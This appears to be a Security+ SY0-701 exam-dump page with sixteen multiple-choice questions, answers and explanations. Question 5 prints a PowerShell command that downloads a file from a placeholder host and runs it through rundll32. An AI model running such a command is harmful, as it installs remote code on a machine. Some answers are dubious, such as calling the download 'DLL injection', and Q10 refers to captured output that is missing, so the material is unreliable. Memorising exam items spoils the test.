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Online SY0-701 free questions and answers of New Version:
NEW QUESTION 1
The Chief Executive Officer announced a new partnership with a strategic vendor and asked the Chief Information Security Officer to federate user digital identities using SAML-based protocols. Which of the following will this enable?
- A. SSO
- B. MFA
- C. PKI
- D. OLP
Answer: A
Explanation:
Federating user digital identities using SAML-based protocols enables Single Sign-On (SSO), which allows users to log in once and access multiple applications without having to enter their credentials for each one. References: CompTIA Security+ Certification Exam Objectives 1.3: Explain authentication and access controls.
CompTIA Security+ Study Guide, Sixth Edition, pages 41-42
NEW QUESTION 2
A user received an SMS on a mobile phone that asked for bank details. Which of the following social engineering techniques was used in this case?
- A. SPIM
- B. Vishing
- C. Spear phishing
- D. Smishing
Answer: D
Explanation:
Smishing is a type of social engineering technique that involves sending fraudulent or malicious text messages (SMS) to a user’s mobile phone. It can trick the user into providing personal or financial information, clicking on malicious links, downloading malware, etc., by impersonating a legitimate entity or creating a sense of urgency or curiosity.
NEW QUESTION 3
An engineer recently deployed a group of 100 web servers in a cloud environment. Per the security policy, all web-server ports except 443 should be disabled. Which of the following can be
used to accomplish this task?
- A. Application allow list
- B. Load balancer
- C. Host-based firewall
- D. VPN
Answer: C
Explanation:
A host-based firewall is a software application that runs on each individual host and controls the incoming and outgoing network traffic based on a set of rules. A host-based firewall can be used to block or allow specific ports, protocols, IP addresses, or applications.
An engineer can use a host-based firewall to accomplish the task of disabling all web-server ports except 443 on a group of 100 web servers in a cloud environment. The engineer can configure the firewall rules on each web server to allow only HTTPS traffic on port 443 and deny any other traffic. Alternatively, the engineer can use a centralized management tool to deploy and enforce the firewall rules across all web servers.
NEW QUESTION 4
A web architect would like to move a company's website presence to the cloud. One of the management team's key concerns is resiliency in case a cloud provider's data center or network connection goes down. Which of the following should the web architect consider to address this concern?
- A. Containers
- B. Virtual private cloud
- C. Segmentation
- D. Availability zones
Answer: D
Explanation:
Availability zones are the most appropriate cloud feature to address the concern of resiliency in case a cloud provider’s data center or network connection goes down. Availability zones are physically separate locations within an Azure region that have independent power, cooling, and networking. Each availability zone is made up of one or more data centers and houses infrastructure to support highly available, mission-critical applications. Availability zones are connected with high-speed, private fiber-optic networks. Azure services that support availability zones fall into two categories: Zonal services – you pin the resource to a specific zone (for example, virtual machines, managed disks, IP addresses), or Zone-redundant services – platform replicates automatically across zones (for example, zone-redundant storage, SQL Database). To achieve comprehensive business continuity on Azure, build your application architecture using the combination of availability zones with Azure region pairs. You can synchronously replicate your applications and data using availability zones within an Azure region for high-availability and asynchronously replicate across Azure regions for disaster recovery protection.
NEW QUESTION 5
An employee received an email with an unusual file attachment named Updates . Lnk. A security analysts reverse engineering what the fle does and finds that executes the folowing script:
C:\Windows \System32\WindowsPowerShell\vl.0\powershell.exe -URI https://somehost.com/04EB18.jpg
-OutFile $env:TEMP\autoupdate.dll;Start-Process rundll32.exe $env:TEMP\autoupdate.dll
Which of the following BEST describes what the analyst found?
- A. A Powershell code is performing a DLL injection.
- B. A PowerShell code is displaying a picture.
- C. A PowerShell code is configuring environmental variables.
- D. A PowerShell code is changing Windows Update settings.
Answer: A
Explanation:
According to GitHub user JSGetty196’s notes1, a PowerShell code that uses rundll32.exe to execute a DLL file is performing a DLL injection attack. This is a type of code injection attack that exploits the Windows process loading mechanism.
https://www.comptia.org/training/books/security-sy0-601-study-guide
NEW QUESTION 6
A new vulnerability in the SMB protocol on the Windows systems was recently discovered, but no patches are currently available to resolve the issue. The security administrator is concerned tf servers in the company's DMZ will be vulnerable to external attack; however, the administrator cannot disable the service on the servers, as SMB is used by a number of internal systems and applications on the LAN. Which of the following TCP ports should be blocked for all external inbound connections to the DMZ as a workaround to protect the servers? (Select TWO).
- A. 135
- B. 139
- C. 143
- D. 161
- E. 443
- F. 445
Answer: BF
Explanation:
To protect the servers in the company’s DMZ from external attack due to the new vulnerability in the SMB
protocol on the Windows systems, the security administrator should block TCP ports 139 and 445 for all external inbound connections to the DMZ.
SMB uses TCP port 139 and 445. Blocking these ports will prevent external attackers from exploiting the vulnerability in SMB protocol on Windows systems.
Blocking TCP ports 139 and 445 for all external inbound connections to the DMZ can help protect the servers, as these ports are used by SMB protocol. Port 135 is also associated with SMB, but it is not commonly used. Ports 143 and 161 are associated with other protocols and services. Reference: CompTIA Security+ Certification Exam Objectives, Exam SY0-601, 1.4 Compare and contrast network architecture and technologies.
NEW QUESTION 7
A company has installed badge readers for building access but is finding unau-thorized individuals roaming the hallways Of the following is the most likely cause?
- A. Shoulder surfing
- B. Phishing
- C. Tailgating
- D. Identity fraud
Answer: C
Explanation:
Tailgating is a physical security threat that occurs when an unauthorized person follows an authorized person into a restricted area without proper identification or authorization. It can cause unauthorized individuals to roam the hallways after gaining access through badge readers installed for building access.
NEW QUESTION 8
Which of the following BEST describes a technique that compensates researchers for finding vulnerabilities?
- A. Penetration testing
- B. Code review
- C. Wardriving
- D. Bug bounty
Answer: D
Explanation:
A bug bounty is a technique that compensates researchers for finding vulnerabilities in software or systems. A bug bounty program is an initiative that offers rewards, usually monetary, to ethical hackers who report security flaws to the owners or developers of the software or system. Bug bounty programs are often used by companies such as Meta (formerly Facebook), Google, Microsoft, and others to improve the security of their products and services
Bug bounty programs compensate researchers, often financially, for finding vulnerabilities in software, websites, or other technology. These programs provide an additional layer of security testing and incentivize researchers to report vulnerabilities instead of exploiting them.
NEW QUESTION 9
Which of the following processes would most likely help an organization that has conducted an incident response exercise to improve performance and identify challenges?
- A. Lessons learned
- B. Identification
- C. Simulation
- D. Containment
Answer: A
Explanation:
Lessons learned is a process that would most likely help an organization that has conducted an incident response exercise to improve performance and identify challenges. Lessons learned is a process that involves reviewing and evaluating the incident response exercise to identify what went well, what went wrong, and what can be improved. Lessons learned can help an organization enhance its incident response capabilities, address any gaps or weaknesses, and update its incident response plan accordingly.
References: https://www.comptia.org/certifications/security#examdetails https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives https://www.sans.org/reading-room/whitepapers/incident/incident-handlers-handbook-33901
NEW QUESTION 10
A network analyst is investigating compromised corporate information. The analyst leads to a theory that network traffic was intercepted before being transmitted to the internet. The following output was captured on an internal host:
Based on the IoCS, which of the following was the MOST likely attack used to compromise the network communication?
- A. Denial of service
- B. ARP poisoning
- C. Command injection
- D. MAC flooding
Answer: B
Explanation:
ARP poisoning (also known as ARP spoofing) is a type of attack where an attacker sends falsified ARP messages over a local area network to link the attacker's MAC address with the IP address of another host on the network. References: CompTIA Security+ Certification Exam Objectives - 2.5 Given a scenario, analyze potential indicators to determine the type of attack. Study Guide: Chapter 6, page 271.
NEW QUESTION 11
Which of the following would a security analyst use to determine if other companies in the same sector have seen similar malicious activity against their systems?
- A. Vulnerability scanner
- B. Open-source intelligence
- C. Packet capture
- D. Threat feeds
Answer: D
Explanation:
Threat feeds, also known as threat intelligence feeds, are a source of information about current and emerging threats, vulnerabilities, and malicious activities targeting organizations. Security analysts use threat feeds to gather information about attacks and threats targeting their industry or sector. These feeds are typically provided by security companies, research organizations, or industry-specific groups. By using threat feeds, analysts can identify trends, patterns, and potential threats that may target their own organization, allowing them to take proactive steps to protect their systems.
References:
* 1. CompTIA Security+ Certification Exam Objectives (SY0-601): https://www.comptia.jp/pdf/Security%2B%20SY0-601%20Exam%20Objectives.pdf
* 2. SANS Institute: Threat Intelligence: What It Is, and How to Use It Effectively: https://www.sans.org-room/whitepapers/analyst/threat-intelligence-is-effectively-36367
NEW QUESTION 12
A security incident has been resolved Which of the following BEST describes the importance of the final phase of the incident response plan?
- A. It examines and documents how well the team responded discovers what caused the incident, and determines how the incident can be avoided in the future
- B. It returns the affected systems back into production once systems have been fully patched, data restored and vulnerabilities addressed
- C. It identifies the incident and the scope of the breach how it affects the production environment, and the ingress point
- D. It contains the affected systems and disconnects them from the network, preventing further spread of the attack or breach
Answer: A
Explanation:
The final phase of an incident response plan is the post-incident activity, which involves examining and documenting how well the team responded, discovering what caused the incident, and determining how the incident can be avoided in the future. References: CompTIA Security+ Certification Exam Objectives - 2.5 Given a scenario, analyze potential indicators to determine the type of attack. Study Guide: Chapter 5, page 225.
NEW QUESTION 13
A company recently completed the transition from data centers to the cloud. Which of the following solutions will best enable the company to detect security threats in applications that run in isolated environments within the cloud environment?
- A. Security groups
- B. Container security
- C. Virtual networks
- D. Segmentation
Answer: B
Explanation:
Container security is a solution that can enable the company to detect security threats in applications that run in isolated environments within the cloud environment. Containers are units of software that package code and dependencies together, allowing applications to run quickly and reliably across different computing environments. Container security involves securing the container images, the container runtime, and the container orchestration platforms. Container security can help prevent unauthorized access, data breaches, malware infections, or denial-of-service attacks on the applications running in containers. References: 1
CompTIA Security+ Certification Exam Objectives, page 9, Domain 2.0: Architecture and Design, Objective 2.3 : Summarize secure application development, deployment, and automation concepts 2
CompTIA Security+
Certification Exam Objectives, page 10, Domain 2.0: Architecture and Design, Objective 2.4: Explain the
importance of embedded and specialized systems security 3
https://www.comptia.org/blog/what-is-container-security
NEW QUESTION 14
Which of the following is used to validate a certificate when it is presented to a user?
- A. OCSP
- B. CSR
- C. CA
- D. CRC
Answer: A
Explanation:
Online Certificate Status Protocol (OCSP) is used to validate a certificate when it is presented to a user. OCSP is a protocol that allows a client or browser to query the status of a certificate from an OCSP responder, which is a server that maintains and provides the revocation status of certificates issued by a certificate authority (CA). OCSP can help to verify the authenticity and validity of a certificate and prevent the use of revoked or expired certificates. References: https://www.comptia.org/blog/what-is-ocsp
https://www.certblaster.com/wp-content/uploads/2020/11/CompTIA-Security-SY0-601-Exam-Objectives-1.0.pd
NEW QUESTION 15
Which of the following best reduces the security risks introduced when running systems that have expired vendor support and lack an immediate replacement?
- A. Implement proper network access restrictions.
- B. Initiate a bug bounty program.
- C. Classify the system as shadow IT.
- D. Increase the frequency of vulnerability scans.
Answer: A
Explanation:
Network access restrictions can limit the exposure of systems that have expired vendor support and lack an immediate replacement, as they can prevent unauthorized or unnecessary access to those systems from other devices or networks. Network access restrictions can include firewalls, network segmentation, VPNs, access control lists, and other methods that can filter or block traffic based on predefined rules or policies. Network access restrictions can reduce the security risks introduced by running systems that have expired vendor support, as they can mitigate the impact of potential vulnerabilities or exploits that may affect those systems. Verified References: CompTIA Security+ Certification Exam Objectives Version 3.0 https://www.comptia.jp/pdf/Security%2B%20SY0-601%20Exam%20Objectives.pdf (See Domain 2.1: Given a scenario, implement secure protocols.)
CompTIA Security+ SY0-501 Study Guide
https://www.certblaster.com/wp-content/uploads/2017/10/CompTIA-Security-SY0-501-Study-Guide.pdf (See Chapter 2: Technologies and Tools, Section 2.5: Firewall and Network Security Appliances.)
NEW QUESTION 16
A security analyst discovers that one of the web APIs is being abused by an unknown third party. Logs indicate that the third party is attempting to manipulate the parameters being passed to the API endpoint. Which of the following solutions would best help to protect against the attack?
- A. DLP
- B. SIEM
- C. NIDS
- D. WAF
Answer: D
Explanation:
WAF stands for Web Application Firewall, which is a type of firewall that can monitor, filter and block web traffic to and from web applications. WAF can protect web applications from common attacks such as
cross-site scripting (XSS), SQL injection, directory traversal, buffer overflow and more. WAF can also enforce security policies and rules that can prevent parameter manipulation or tampering by an unknown third party. WAF is the best solution to help protect against the attack on the web API, as it can inspect the HTTP requests and responses and block any malicious or anomalous activity. Verified References: Other Application Attacks – SY0-601 CompTIA Security+ : 1.3 https://www.professormesser.com/security-plus/sy0-601/sy0-601-video/other-application-attacks/ (See Web Application Firewall)
CompTIA Security+ SY0-601 Exam Cram
https://www.oreilly.com/library/view/comptia-security-sy0-601/9780136798767/ch03.xhtml (See Web Application Firewall) Security+ domain #1: Attacks, threats, and vulnerabilities [updated 2021] https://resources.infosecinstitute.com/certification/security-domain-1-threats-attacks-and-vulnerabilities/ (See Web application firewall)
NEW QUESTION 17
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